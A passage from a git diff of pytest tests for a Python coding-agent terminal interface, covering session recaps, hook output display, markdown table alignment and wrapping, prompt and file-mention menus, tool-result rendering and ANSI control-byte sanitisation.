"mkdir -p a/b/c", + "touch file", + "ls -la", + "git status", + "python build_script.py", # bare script run, not inline -c + "echo hello", + ) + for cmd in benign: + assert shell_destructive_reason(cmd) is None, cmd + + @pytest.mark.skipif( platform.system() == "Windows", reason="Shell mutation guard examples use POSIX" ) diff --git a/tests/core/test_wire_message.py b/tests/core/test_wire_message.py index 6dba59bc..5076f7bc 100644 --- a/tests/core/test_wire_message.py +++ b/tests/core/test_wire_message.py @@ -632,7 +632,7 @@ def test_wire_message_type_alias(): module = pythinker_code.wire.types # Helper types that are BaseModel subclasses but not WireMessage types - from pythinker_code.wire.types import HookResponse + from pythinker_code.wire.types import HookOutput, HookResponse _NON_WIRE_TYPES = { WireMessageEnvelope, @@ -641,6 +641,7 @@ def test_wire_message_type_alias(): QuestionOption, QuestionItem, QuestionResponse, + HookOutput, HookResponse, } diff --git a/tests/hooks/test_integration.py b/tests/hooks/test_integration.py index 801080d1..b0b491b2 100644 --- a/tests/hooks/test_integration.py +++ b/tests/hooks/test_integration.py @@ -313,3 +313,29 @@ async def test_wire_callbacks_fired(): assert triggered[0] == ("PreToolUse", "Shell", 1) assert len(resolved) == 1 assert resolved[0] == ("PreToolUse", "Shell", "allow") + + +@pytest.mark.asyncio +async def test_wire_resolved_callback_receives_hook_output(): + """HookResolved can carry bounded hook stdout for shell transcript rendering.""" + with tempfile.TemporaryDirectory() as tmpdir: + script = Path(tmpdir) / "banner.sh" + script.write_text( + "#!/bin/bash\necho '[PreToolUse]'\necho 'PRO AGENT ACTIVATION RECOMMENDED'\n" + ) + script.chmod(0o755) + + resolved_outputs = [] + hooks = [HookDef(event="PreToolUse", matcher="Shell", command=str(script), timeout=5)] + engine = HookEngine( + hooks, + on_resolved=lambda e, t, a, r, d, outputs: resolved_outputs.append(outputs), + cwd=tmpdir, + ) + + await engine.trigger("PreToolUse", matcher_value="Shell", input_data={}) + + assert len(resolved_outputs) == 1 + outputs = resolved_outputs[0] + assert outputs[0]["stdout"] == ("[PreToolUse]\nPRO AGENT ACTIVATION RECOMMENDED\n") + assert outputs[0]["stderr"] == "" diff --git a/tests/test_session_recap.py b/tests/test_session_recap.py new file mode 100644 index 00000000..2e8a90a1 --- /dev/null +++ b/tests/test_session_recap.py @@ -0,0 +1,242 @@ +from __future__ import annotations + +from collections import Counter +from datetime import datetime +from types import SimpleNamespace +from typing import TYPE_CHECKING, cast +from zoneinfo import ZoneInfo + +import pytest + +if TYPE_CHECKING: + from pythinker_code.session import Session + +from pythinker_code.session_recap import ( + SessionRecapItem, + _first_sentence, + _format_duration, + _format_tool_counts, + _last_substantive_thread, + _tool_label, + build_turn_recap_line, + format_recap, + parse_recap_range, + summarize_session_for_recap, +) + + +def test_parse_recap_range_defaults_to_today() -> None: + now = datetime(2026, 6, 1, 15, 30, tzinfo=ZoneInfo("UTC")) + + recap_range = parse_recap_range("", now=now) + + assert recap_range.label == "today" + assert recap_range.start_ts == datetime(2026, 6, 1, tzinfo=ZoneInfo("UTC")).timestamp() + assert recap_range.end_ts == now.timestamp() + + +def test_format_recap_includes_tools_and_modified_files() -> None: + item = SessionRecapItem(title="prompt rendering", session_id="s1") + item.start_ts = 100.0 + item.end_ts = 430.0 + item.turn_count = 2 + item.first_user_message = "make shell output match the transcript example" + item.last_user_message = "add recaps too" + item.tool_counts.update({"ReadFile": 2, "WriteFile": 1}) + item.add_modified_file("src/pythinker_code/ui/shell/visualize/_live_view.py") + + output = format_recap( + [item], + parse_recap_range("today", now=datetime(2026, 6, 1, 15, 30, tzinfo=ZoneInfo("UTC"))), + ) + + assert "**Recap — today**" in output + assert "Read ×2" in output + assert "Write" in output + assert "src/pythinker_code/ui/shell/visualize/_live_vie" in output + assert "add recaps too" in output + + +def test_build_turn_recap_line_uses_assistant_text() -> None: + line = build_turn_recap_line( + request="implement recaps", + assistant_text="Implemented a /recap command and a shell recap banner. Extra detail.", + step_count=3, + ) + + assert line == ( + "※ recap: Implemented a /recap command and a shell recap banner. (3 steps) " + "(disable recaps in /settings)" + ) + + +_UTC = ZoneInfo("UTC") +_NOW = datetime(2026, 6, 1, 15, 30, tzinfo=_UTC) + + +def test_parse_recap_range_yesterday() -> None: + rng = parse_recap_range("yesterday", now=_NOW) + assert rng.label == "yesterday" + assert rng.start_ts == datetime(2026, 5, 31, tzinfo=_UTC).timestamp() + assert rng.end_ts == datetime(2026, 5, 31, 23, 59, 59, 999999, tzinfo=_UTC).timestamp() + + +@pytest.mark.parametrize("arg", ["week", "7d", "past 7 days"]) +def test_parse_recap_range_week_aliases(arg: str) -> None: + rng = parse_recap_range(arg, now=_NOW) + assert rng.label == "past 7 days" + assert rng.start_ts == datetime(2026, 5, 25, tzinfo=_UTC).timestamp() + assert rng.end_ts == _NOW.timestamp() + + +def test_parse_recap_range_explicit_date() -> None: + rng = parse_recap_range("2026-05-20", now=_NOW) + assert rng.label == "2026-05-20" + assert rng.start_ts == datetime(2026, 5, 20, tzinfo=_UTC).timestamp() + + +def test_parse_recap_range_invalid_raises() -> None: + with pytest.raises(ValueError, match="Unknown recap period"): + parse_recap_range("last decade", now=_NOW) + + +def test_add_modified_file_ignores_empty_and_duplicates() -> None: + item = SessionRecapItem(title="t", session_id="s") + item.add_modified_file("") + item.add_modified_file("a.py") + item.add_modified_file("a.py") + item.add_modified_file("b.py") + assert item.files_modified == ["a.py", "b.py"] + + +def test_duration_minutes_zero_when_timestamps_missing() -> None: + assert SessionRecapItem(title="t", session_id="s").duration_minutes == 0 + item = SessionRecapItem(title="t", session_id="s") + item.start_ts, item.end_ts = 100.0, 280.0 + assert item.duration_minutes == 3 # round(180 / 60) + + +@pytest.mark.parametrize( + ("minutes", "expected"), + [(0, "<1 min"), (1, "~1 min"), (59, "~59 min"), (60, "~1 hr"), (90, "~1 hr 30 min")], +) +def test_format_duration_boundaries(minutes: int, expected: str) -> None: + assert _format_duration(minutes) == expected + + +def test_format_tool_counts_caps_at_four_with_more() -> None: + counts = Counter({"ReadFile": 5, "WriteFile": 3, "Grep": 2, "Glob": 2, "Shell": 1, "Agent": 1}) + rendered = _format_tool_counts(counts) + assert "Read ×5" in rendered + assert "+2 more" in rendered + assert _format_tool_counts(Counter()) == "" + + +def test_tool_label_known_and_passthrough() -> None: + assert _tool_label("WriteFile") == "Write" + assert _tool_label("CustomTool") == "CustomTool" + + +def test_first_sentence_boundaries() -> None: + # Separator before index 40 is ignored; the whole string is kept. + assert _first_sentence("Too short. Then more text here") == "Too short. Then more text here" + # No punctuation -> whole (collapsed) string. + assert _first_sentence("a plain line with no terminator at all") == ( + "a plain line with no terminator at all" + ) + # '? ' boundary past index 40 splits the first sentence. + long_q = "I spent a while wondering what the right approach was? Then I moved on." + assert _first_sentence(long_q) == "I spent a while wondering what the right approach was?" + assert _first_sentence(" ") == "" + + +def test_last_substantive_thread_empty() -> None: + assert _last_substantive_thread([]) == "" + + +def test_format_recap_empty_items() -> None: + out = format_recap([], parse_recap_range("today", now=_NOW)) + assert "No Pythinker sessions found" in out + + +def test_build_turn_recap_line_falls_back_to_request_and_handles_empty() -> None: + assert build_turn_recap_line(request="fix the bug", assistant_text="") == ( + "※ recap: fix the bug (disable recaps in /settings)" + ) + assert build_turn_recap_line(request="", assistant_text="") is None + + +def _record(timestamp: float, message: object) -> SimpleNamespace: + return SimpleNamespace(timestamp=timestamp, to_wire_message=lambda: message) + + +@pytest.mark.asyncio +async def test_summarize_session_collects_turns_tools_and_files() -> None: + from pythinker_core.message import ToolCall as CoreToolCall + from pythinker_core.tooling import ToolReturnValue + + from pythinker_code.tools.display import DiffDisplayBlock + from pythinker_code.wire.types import TextPart, ToolCall, ToolResult, TurnBegin + + rng = parse_recap_range("today", now=_NOW) + in_range = rng.start_ts + 10.0 + records = [ + _record(rng.start_ts - 100.0, TurnBegin(user_input="out of range, skipped")), + _record(in_range, TurnBegin(user_input="first ask")), + _record(in_range + 1, TextPart(text="working on it")), + _record( + in_range + 2, + ToolCall(id="1", function=CoreToolCall.FunctionBody(name="WriteFile", arguments="{}")), + ), + _record( + in_range + 3, + ToolResult( + tool_call_id="1", + return_value=ToolReturnValue( + is_error=False, + output="ok", + message="ok", + display=[ + DiffDisplayBlock( + path="a.py", old_text="", new_text="x", old_start=1, new_start=1 + ) + ], + ), + ), + ), + _record(in_range + 4, TurnBegin(user_input="second ask")), + ] + + async def _iter_records(): + for record in records: + yield record + + session = SimpleNamespace( + title="My session", + id="sess-1", + wire_file=SimpleNamespace(iter_records=_iter_records), + ) + + item = await summarize_session_for_recap(cast("Session", session), rng) + assert item is not None + assert item.turn_count == 2 # out-of-range TurnBegin skipped + assert item.first_user_message == "first ask" + assert item.last_user_message == "second ask" + assert item.assistant_snippets == ["working on it"] + assert item.tool_counts["WriteFile"] == 1 + assert item.files_modified == ["a.py"] + + +@pytest.mark.asyncio +async def test_summarize_session_returns_none_without_turns() -> None: + rng = parse_recap_range("today", now=_NOW) + + async def _iter_records(): + from pythinker_code.wire.types import TextPart + + yield _record(rng.start_ts + 5.0, TextPart(text="no turn began")) + + session = SimpleNamespace( + title="t", id="s", wire_file=SimpleNamespace(iter_records=_iter_records) + ) + assert await summarize_session_for_recap(cast("Session", session), rng) is None diff --git a/tests/ui_and_conv/test_live_view_notifications.py b/tests/ui_and_conv/test_live_view_notifications.py index 1339114f..8a69d744 100644 --- a/tests/ui_and_conv/test_live_view_notifications.py +++ b/tests/ui_and_conv/test_live_view_notifications.py @@ -10,11 +10,14 @@ from pythinker_code.ui.shell.visualize import _live_view as live_view_module from pythinker_code.ui.shell.visualize import _LiveView, _PromptLiveView from pythinker_code.wire.types import ( + HookOutput, HookResolved, HookTriggered, Notification, StatusUpdate, + TextPart, TurnBegin, + TurnEnd, ) @@ -87,6 +90,58 @@ def test_live_view_prints_resolved_blocking_hook(monkeypatch): assert "12ms" in rendered +def test_live_view_prints_resolved_hook_stdout(monkeypatch): + view = _LiveView(StatusUpdate()) + view.dispatch_wire_message(HookTriggered(event="PreToolUse", target="Shell", hook_count=1)) + printed = [] + monkeypatch.setattr(shell_console, "print", lambda *args, **kwargs: printed.extend(args)) + + view.dispatch_wire_message( + HookResolved( + event="PreToolUse", + target="Shell", + action="allow", + duration_ms=7, + outputs=( + HookOutput( + stdout=( + "[PreToolUse]\n" + "╔════════════════════════════════════════════════════════════════╗\n" + "║ 🤖 PRO AGENT ACTIVATION RECOMMENDED ║\n" + "╚════════════════════════════════════════════════════════════════╝\n" + ) + ), + ), + ) + ) + + rendered = "\n".join(_render(item) for item in printed) + assert "Hook" in rendered + assert "PreToolUse Shell" in rendered + assert "[PreToolUse]" in rendered + assert "PRO AGENT ACTIVATION RECOMMENDED" in rendered + + +def test_live_view_prints_hook_timeout_status_with_partial_output(monkeypatch): + view = _LiveView(StatusUpdate()) + view.dispatch_wire_message(HookTriggered(event="PreToolUse", target="Shell", hook_count=1)) + printed = [] + monkeypatch.setattr(shell_console, "print", lambda *args, **_kwargs: printed.extend(args)) + + view.dispatch_wire_message( + HookResolved( + event="PreToolUse", + target="Shell", + action="allow", + outputs=(HookOutput(stdout="partial output", timed_out=True),), + ) + ) + + rendered = "\n".join(_render(item) for item in printed) + assert "partial output" in rendered + assert "hook timed out" in rendered + + def test_working_indicator_uses_turn_elapsed_time(monkeypatch): now = 1000.0 monkeypatch.setattr(live_view_module.time, "monotonic", lambda: now) @@ -261,6 +316,23 @@ def test_prompt_live_view_keeps_non_background_task_notifications(monkeypatch): assert forwarded == [notification] +def test_live_view_prints_turn_recap_when_enabled(monkeypatch): + printed = [] + monkeypatch.setattr( + live_view_module.console, "print", lambda *args, **_kwargs: printed.extend(args) + ) + + view = _LiveView(StatusUpdate(), show_turn_recaps=True) + view.dispatch_wire_message(TurnBegin(user_input="implement recaps")) + view.dispatch_wire_message(TextPart(text="Implemented a /recap command.")) + view.dispatch_wire_message(TurnEnd()) + view.cleanup(is_interrupt=False) + + plain = "\n".join(getattr(item, "plain", str(item)) for item in printed) + assert "※ recap: Implemented a /recap command." in plain + assert "disable recaps in /settings" in plain + + def test_cleanup_flushes_notifications_to_terminal_history(monkeypatch): view = _LiveView(StatusUpdate()) view.dispatch_wire_message(_notification()) diff --git a/tests/ui_and_conv/test_md_table_contract.py b/tests/ui_and_conv/test_md_table_contract.py index 3ffd7fdc..4350cc32 100644 --- a/tests/ui_and_conv/test_md_table_contract.py +++ b/tests/ui_and_conv/test_md_table_contract.py @@ -82,6 +82,54 @@ def test_prose_inline_code_pipe_is_not_corrupted_with_backslash(): assert "\\|" not in out +def _value_column_offset(separator: str, *, width: int = 40) -> int: + """Render a single wide column holding the value ``x`` under *separator* + alignment, and return the column at which ``x`` lands. + + Geometry (header text, column width, padding) is identical across calls, so + the only thing that can move ``x`` is the alignment marker in *separator*. + """ + md = f"| AveryWideHeaderColumn |\n| {separator} |\n| x |\n" + out = render_plain(pythinker_markdown(md), width=width) + for line in out.splitlines(): + if "x" in line and "Header" not in line and set(line.strip()) != {"━"}: + return line.index("x") + raise AssertionError("table data row with the value was not rendered") + + +def test_table_alignment_markers_position_value_left_center_right(): + """Bug class: 'alignment markers (:---:, ---:) silently ignored'. + + Spacing carries meaning in tables, so the renderer must honor GFM column + alignment. With identical column geometry, the value's position must move + strictly rightward as the alignment goes left -> center -> right. + """ + left = _value_column_offset(":---") + center = _value_column_offset(":---:") + right = _value_column_offset("---:") + + assert left < center < right, (left, center, right) + # Left-aligned hugs the column start (only the 1-cell left padding precedes it). + assert left == 1 + + +@pytest.mark.parametrize("width", WIDTHS) +def test_table_alignment_ordering_holds_across_widths(width): + """The left/center/right ordering must survive reflow at every width where + the column is wider than the value, not just one convenient width.""" + left = _value_column_offset(":---", width=width) + center = _value_column_offset(":---:", width=width) + right = _value_column_offset("---:", width=width) + + assert left <= center <= right, (width, left, center, right) + assert left < right, (width, left, right) + + +def test_table_default_alignment_is_left(): + """An un-marked column (``---``) must render left-aligned, matching GFM.""" + assert _value_column_offset("---") == _value_column_offset(":---") + + def test_table_empty_header_cell_does_not_mislabel(): """Bug class: 'empty header cells mislabeled in narrow stacked layout'.""" md = "| | Value |\n| --- | --- |\n| key | 42 |\n" diff --git a/tests/ui_and_conv/test_md_wrapping_contract.py b/tests/ui_and_conv/test_md_wrapping_contract.py new file mode 100644 index 00000000..0c6068a8 --- /dev/null +++ b/tests/ui_and_conv/test_md_wrapping_contract.py @@ -0,0 +1,54 @@ +"""Markdown wrapping contracts for clean TUI margins.""" + +from __future__ import annotations + +from pythinker_code.ui.shell.components.markdown import PythinkerMarkdown +from tests.ui_and_conv._md_contract_helpers import render_plain + + +def _lines(rendered: str) -> list[str]: + return [line.rstrip() for line in rendered.splitlines()] + + +def test_markdown_paragraph_wraps_on_word_boundaries() -> None: + rendered = render_plain( + PythinkerMarkdown( + "The user requested a deep code scan for vulnerabilities in direct " + "dependencies. Preparing the deep code scan." + ), + width=24, + ) + + assert _lines(rendered) == [ + "The user requested a", + "deep code scan for", + "vulnerabilities in", + "direct dependencies.", + "Preparing the deep code", + "scan.", + ] + + +def test_ordered_list_wrap_uses_hanging_indent_without_dropping_text() -> None: + rendered = render_plain( + PythinkerMarkdown("1. alpha beta gamma delta epsilon"), + width=24, + ) + + assert _lines(rendered) == [ + "1. alpha beta gamma", + " delta epsilon", + ] + + +def test_nested_list_wrap_keeps_continuation_under_item_text() -> None: + rendered = render_plain( + PythinkerMarkdown("- parent\n - alpha beta gamma delta epsilon"), + width=24, + ) + + assert _lines(rendered) == [ + "• parent", + " • alpha beta gamma", + " delta epsilon", + ] diff --git a/tests/ui_and_conv/test_print_final_only.py b/tests/ui_and_conv/test_print_final_only.py index da7cbc89..9483d66c 100644 --- a/tests/ui_and_conv/test_print_final_only.py +++ b/tests/ui_and_conv/test_print_final_only.py @@ -2,11 +2,17 @@ from __future__ import annotations +import importlib import json +import sys + +from rich.console import Console from pythinker_code.ui.print.visualize import FinalOnlyJsonPrinter, FinalOnlyTextPrinter from pythinker_code.wire.types import StepBegin, TextPart, ThinkPart +print_visualize = importlib.import_module("pythinker_code.ui.print.visualize") + def test_final_only_text_printer_outputs_final_text(capsys): printer = FinalOnlyTextPrinter() @@ -28,6 +34,31 @@ def test_final_only_text_printer_plain_prose_is_byte_identical(capsys): assert capsys.readouterr().out == "just a plain answer\n" +def test_final_only_text_printer_terminal_wraps_plain_prose(capsys, monkeypatch): + """Interactive final-text output should wrap before the terminal hard-clips it.""" + + def narrow_console() -> Console: + return Console(width=40, file=sys.stdout, color_system=None, legacy_windows=False) + + monkeypatch.setattr(sys.stdout, "isatty", lambda: True) + monkeypatch.setattr(print_visualize, "Console", narrow_console) + + print_visualize._print_final_text( + "This is **bold** terminal prose that should wrap on word boundaries instead of " + "overflowing beyond the shell viewport." + ) + + out = capsys.readouterr().out + lines = [line.rstrip() for line in out.splitlines()] + assert all(len(line) <= 40 for line in lines) + assert "**" not in out + assert lines == [ + "This is bold terminal prose that should", + "wrap on word boundaries instead of", + "overflowing beyond the shell viewport.", + ] + + def test_final_only_text_printer_renders_report_block(capsys): """A ` ```report ` block in the final text renders as a clean report, not raw JSON.""" printer = FinalOnlyTextPrinter() diff --git a/tests/ui_and_conv/test_prompt_tips.py b/tests/ui_and_conv/test_prompt_tips.py index c82db142..947662b7 100644 --- a/tests/ui_and_conv/test_prompt_tips.py +++ b/tests/ui_and_conv/test_prompt_tips.py @@ -29,6 +29,7 @@ _get_git_status, _git_branch_state, _git_status_state, + _PromptRightPaddingMargin, _shorten_cwd, _toast_queues, _truncate_left, @@ -61,6 +62,28 @@ def test_shortcut_help_popup_lists_prompt_and_transcript_shortcuts() -> None: assert "expand/collapse tool output (transcript)" in plain +def test_prompt_continuation_aligns_wrapped_input_with_text_start() -> None: + prompt_session = object.__new__(CustomPromptSession) + + fragments = prompt_session._render_prompt_continuation( + width=2, + line_number=1, + is_soft_wrap=True, + ) + + assert "".join(fragment[1] for fragment in fragments) == " " + + +def test_prompt_right_padding_margin_reserves_blank_edge_columns() -> None: + margin = _PromptRightPaddingMargin(lambda: 2) + render_info = SimpleNamespace(displayed_lines=[0, 0, 0]) + + fragments = margin.create_margin(cast(Any, render_info), width=2, height=3) + + assert margin.get_width(lambda: cast(Any, None)) == 2 + assert "".join(fragment[1] for fragment in fragments) == " \n \n \n" + + def test_prompt_toolkit_keyprocessor_shutdown_noise_is_filtered() -> None: unraisable = SimpleNamespace( exc_value=KeyError("__import__"), diff --git a/tests/ui_and_conv/test_shell_prompt_echo.py b/tests/ui_and_conv/test_shell_prompt_echo.py index 1532ccc5..ce86661b 100644 --- a/tests/ui_and_conv/test_shell_prompt_echo.py +++ b/tests/ui_and_conv/test_shell_prompt_echo.py @@ -9,7 +9,7 @@ from pythinker_code.soul import Soul from pythinker_code.ui.shell import Shell from pythinker_code.ui.shell.components import render_plain -from pythinker_code.ui.shell.echo import render_user_echo, render_user_echo_text +from pythinker_code.ui.shell.echo import UserEcho, render_user_echo, render_user_echo_text from pythinker_code.ui.shell.prompt import PromptMode, UserInput from pythinker_code.ui.tui_config import get_active_tui_style, set_active_tui_style from pythinker_code.utils.slashcmd import SlashCommand, SlashCommandCall @@ -80,7 +80,7 @@ def test_echo_agent_input_uses_resolved_command_for_placeholders(monkeypatch) -> def test_render_user_echo_preserves_literal_brackets() -> None: rendered = render_user_echo(Message(role="user", content=[TextPart(text="[brackets]")])) - assert isinstance(rendered, Text) + assert isinstance(rendered, UserEcho) assert rendered.plain == "❯ [brackets]" @@ -92,7 +92,7 @@ def test_render_user_echo_preserves_image_placeholder_literal() -> None: ) ) - assert isinstance(rendered, Text) + assert isinstance(rendered, UserEcho) assert rendered.plain == "❯ [image]" @@ -108,7 +108,7 @@ def test_render_user_echo_preserves_audio_placeholder_literal() -> None: ) ) - assert isinstance(rendered, Text) + assert isinstance(rendered, UserEcho) assert rendered.plain == "❯ [audio:clip]" @@ -122,7 +122,7 @@ def test_render_user_echo_preserves_video_placeholder_literal() -> None: ) ) - assert isinstance(rendered, Text) + assert isinstance(rendered, UserEcho) assert rendered.plain == "❯ [video]" @@ -139,7 +139,7 @@ def test_render_user_echo_preserves_mixed_content_order() -> None: ) ) - assert isinstance(rendered, Text) + assert isinstance(rendered, UserEcho) assert rendered.plain == "❯ look [image][audio][video]" @@ -152,10 +152,21 @@ def test_card_style_user_echo_renders_transcript_prompt_symbol() -> None: finally: set_active_tui_style(original) - assert plain == "❯ apply\n" + assert plain == "\n❯ apply\n" assert "✨" not in plain +def test_user_echo_wraps_continuation_under_text_start() -> None: + rendered = render_user_echo_text("abcdefghij klmnopqrst uvwxyz") + plain = render_plain(rendered, width=16) + lines = plain.splitlines() + + assert lines[0] == "" + assert lines[1].startswith("❯ ") + assert lines[2].startswith(" ") + assert not lines[2].startswith("❯") + + def test_should_echo_agent_input_for_plain_agent_message() -> None: shell = _make_shell() assert shell._should_echo_agent_input(_make_user_input("hi")) is True diff --git a/tests/ui_and_conv/test_slash_completer.py b/tests/ui_and_conv/test_slash_completer.py index 8b7ea54e..64e5066e 100644 --- a/tests/ui_and_conv/test_slash_completer.py +++ b/tests/ui_and_conv/test_slash_completer.py @@ -13,6 +13,8 @@ import pythinker_code.ui.shell.prompt as prompt_mod from pythinker_code.ui.shell.prompt import ( + LocalFileMentionCompleter, + LocalFileMentionMenuControl, SlashCommandCompleter, SlashCommandMenuControl, _discard_slash_command, @@ -86,6 +88,19 @@ def test_should_complete_only_for_root_slash_token(): assert not SlashCommandCompleter.should_complete(Document(text="/he next", cursor_position=8)) +def test_file_mention_should_complete_for_active_at_fragment(): + assert LocalFileMentionCompleter.should_complete( + Document(text="check @src", cursor_position=10) + ) + assert LocalFileMentionCompleter.should_complete(Document(text="check @", cursor_position=7)) + assert not LocalFileMentionCompleter.should_complete( + Document(text="email test@example.com", cursor_position=22) + ) + assert not LocalFileMentionCompleter.should_complete( + Document(text="check @src next", cursor_position=15) + ) + + def test_discard_slash_command_clears_root_slash_draft(): buffer = Buffer() buffer.set_document(Document(text="/theme", cursor_position=6), bypass_readonly=True) @@ -189,6 +204,49 @@ def test_wrap_to_width_respects_max_lines(): assert lines[-1].endswith("...") +def test_file_mention_menu_renders_clean_two_column_layout(monkeypatch): + completions = [ + Completion(text=".coderabbit.yaml", start_position=0, display=".coderabbit.yaml"), + Completion(text=".dockerignore", start_position=0, display=".dockerignore"), + Completion(text=".pytest_cache/", start_position=0, display=".pytest_cache/"), + ] + complete_state = SimpleNamespace(completions=completions, complete_index=None) + app = SimpleNamespace(current_buffer=SimpleNamespace(complete_state=complete_state)) + monkeypatch.setattr(prompt_mod, "get_app_or_none", lambda: app) + + control = LocalFileMentionMenuControl(left_padding=lambda: 0) + content = control.create_content(width=80, height=6) + rendered_lines = [ + "".join(fragment[1] for fragment in content.get_line(i)) for i in range(content.line_count) + ] + + assert content.cursor_position.y == 0 + assert rendered_lines[0].startswith("→ .coderabbit.yaml") + assert ".coderabbit.yaml" in rendered_lines[0][20:] + assert rendered_lines[1].startswith(" .dockerignore") + assert ".pytest_cache" in rendered_lines[2] + assert rendered_lines[-1].strip() == "(1/3)" + + +def test_file_mention_menu_counter_tracks_selected_completion(monkeypatch): + completions = [ + Completion(text=f"path-{index}.py", start_position=0, display=f"path-{index}.py") + for index in range(6) + ] + complete_state = SimpleNamespace(completions=completions, complete_index=3) + app = SimpleNamespace(current_buffer=SimpleNamespace(complete_state=complete_state)) + monkeypatch.setattr(prompt_mod, "get_app_or_none", lambda: app) + + control = LocalFileMentionMenuControl(left_padding=lambda: 0) + content = control.create_content(width=48, height=4) + rendered_lines = [ + "".join(fragment[1] for fragment in content.get_line(i)) for i in range(content.line_count) + ] + + assert any(line.startswith("→ path-3.py") for line in rendered_lines) + assert rendered_lines[-1].strip() == "(4/6)" + + def test_slash_menu_preselects_first_item_when_index_unset(monkeypatch): """When the slash menu opens with `complete_index is None`, the first row must render as visually highlighted (`❯` marker, current style) and the diff --git a/tests/ui_and_conv/test_streaming_content_block.py b/tests/ui_and_conv/test_streaming_content_block.py index 2c447680..b49fa8f9 100644 --- a/tests/ui_and_conv/test_streaming_content_block.py +++ b/tests/ui_and_conv/test_streaming_content_block.py @@ -236,6 +236,57 @@ def test_thinking_status_line_uses_compact_activity_metadata(): assert "esc to interrupt" not in output +def _assert_blank_line_after_activity(output: str, label: str) -> None: + lines = output.splitlines() + try: + activity_index = next(index for index, line in enumerate(lines) if label in line) + except StopIteration: + raise AssertionError(f"Label '{label}' not found in output") from None + assert activity_index + 1 < len(lines), f"Label '{label}' is the last line in output" + assert lines[activity_index + 1].strip() == "" + + +def test_assert_blank_line_after_activity_reports_missing_label() -> None: + with pytest.raises(AssertionError, match="Label 'Missing' not found in output"): + _assert_blank_line_after_activity("Composing\n", "Missing") + + +def test_assert_blank_line_after_activity_reports_missing_following_line() -> None: + with pytest.raises(AssertionError, match="Label 'Composing' is the last line in output"): + _assert_blank_line_after_activity("Composing\n", "Composing") + + +def test_composing_preview_has_standard_gap_after_activity_line(): + block = _ContentBlock(is_think=False) + block.append("live preview without newline") + console = Console(record=True, width=120, color_system=None) + console.print(block.compose()) + output = console.export_text() + + _assert_blank_line_after_activity(output, "Composing") + assert "\n\n● live preview without newline" in output + + +def test_thinking_stream_preview_has_standard_gap_after_activity_line(): + block = _ContentBlock(is_think=True, show_thinking_stream=True) + block.append("reasoning preview") + console = Console(record=True, width=120, color_system=None) + console.print(block.compose()) + + _assert_blank_line_after_activity(console.export_text(), "Thinking") + + +def test_thinking_stream_preview_uses_transcript_bullet_after_activity_line(): + block = _ContentBlock(is_think=True, show_thinking_stream=True) + block.append("**Preparing report generation**") + console = Console(record=True, width=120, color_system=None) + console.print(block.compose()) + output = console.export_text() + + assert "Thinking" in output + assert "\n\n• **Preparing report generation**" in output + + def _style_for(renderable: Text, text: str) -> Style: start = renderable.plain.index(text) end = start + len(text) diff --git a/tests/ui_and_conv/test_tui_card_tool_renderers.py b/tests/ui_and_conv/test_tui_card_tool_renderers.py index 1a56427b..a4a6f426 100644 --- a/tests/ui_and_conv/test_tui_card_tool_renderers.py +++ b/tests/ui_and_conv/test_tui_card_tool_renderers.py @@ -221,6 +221,83 @@ def test_write_error_surfaced(): assert "Permission denied" in rendered +def test_write_existing_file_renders_diff_for_add_only_change(): + rendered = _render( + "WriteFile", + {"path": "/repo/report.md", "content": "intro\nnew section\n"}, + details={ + "display": [ + DiffDisplayBlock( + path="/repo/report.md", + old_text="intro", + new_text="intro\nnew section", + old_start=1, + new_start=1, + ) + ] + }, + ) + + assert "Added 1 line" in rendered + assert "+ 2 new section" in rendered + assert "Wrote 2 lines" not in rendered + + +def test_write_huge_new_file_shows_wrote_header_not_diff(): + content = "".join(f"line {i}\n" for i in range(12_000)) + rendered = _render( + "WriteFile", + {"path": "/repo/big.py", "content": content}, + details={ + "display": [ + DiffDisplayBlock( + path="/repo/big.py", + old_text="(0 lines)", + new_text="(12000 lines)", + old_start=1, + new_start=1, + is_summary=True, + ) + ] + }, + ) + assert "Wrote 12000 lines" in rendered + assert "removed 1 line" not in rendered + + +def test_write_large_diff_can_expand_from_completed_card(): + defn = get_tool_renderer("WriteFile") + assert defn is not None + comp = ToolExecutionComponent("WriteFile", "tc-1", definition=defn, cwd="/repo") + comp.update_args({"path": "/repo/report.md", "content": "new"}) + comp.set_args_complete() + comp.mark_execution_started() + comp.set_result( + ToolResultPayload( + details={ + "display": [ + DiffDisplayBlock( + path="/repo/report.md", + old_text="\n".join(f"old {i}" for i in range(30)), + new_text="\n".join(f"new {i}" for i in range(30)), + old_start=1, + new_start=1, + ) + ] + } + ) + ) + + collapsed = render_plain(comp.render(), width=100) + assert comp.can_expand + assert "ctrl+o to expand" in collapsed + assert "new 29" not in collapsed + + comp.toggle_expanded() + expanded = render_plain(comp.render(), width=100) + assert "new 29" in expanded + + # --------------------------------------------------------------------------- # edit # --------------------------------------------------------------------------- diff --git a/tests/ui_and_conv/test_tui_components.py b/tests/ui_and_conv/test_tui_components.py index 15353082..b1eef075 100644 --- a/tests/ui_and_conv/test_tui_components.py +++ b/tests/ui_and_conv/test_tui_components.py @@ -143,6 +143,14 @@ def test_sanitize_ansi_strips_control_bytes(): assert sanitize_ansi(raw) == "ok" +def test_sanitize_ansi_strips_8bit_c1_controls(): + # 8-bit CSI (0x9b) clear-screen and OSC (0x9d) set-title that many terminals + # still interpret must not survive sanitization. + assert sanitize_ansi("\x9b2J") == "2J" + assert sanitize_ansi("before\x9d0;evil\x07after") == "before0;evilafter" + assert sanitize_ansi("plain") == "plain" + + # --------------------------------------------------------------------------- # dim # --------------------------------------------------------------------------- diff --git a/tests/ui_and_conv/test_tui_render_snapshots.py b/tests/ui_and_conv/test_tui_render_snapshots.py index 2554078e..c0eeb223 100644 --- a/tests/ui_and_conv/test_tui_render_snapshots.py +++ b/tests/ui_and_conv/test_tui_render_snapshots.py @@ -228,6 +228,32 @@ def test_short_result_does_not_show_expand_hint(): assert "ctrl+o" not in rendered +def test_renderer_expandable_payload_flag_is_frame_scoped(): + def render_call(_ctx: ToolRenderContext) -> RenderableType: + return Text("flaggy") + + def render_result(ctx: ToolRenderContext, result: ToolResultPayload) -> RenderableType: + if result.text == "large": + ctx.state["__has_expandable_payload__"] = True + ctx.state["__suppress_generic_expand_hint__"] = True + return Text(result.text) + + defn = ToolRenderDefinition( + name="Flaggy", + label="Flaggy", + render_call=render_call, + render_result=render_result, + ) + comp = ToolExecutionComponent("Flaggy", "t1", definition=defn) + comp.set_result(ToolResultPayload(text="large")) + render_plain(comp.render(), width=60) + assert comp.can_expand + + comp.set_result(ToolResultPayload(text="small")) + render_plain(comp.render(), width=60) + assert not comp.can_expand + + # --------------------------------------------------------------------------- # render_shell="self" skips the bg padding # --------------------------------------------------------------------------- diff 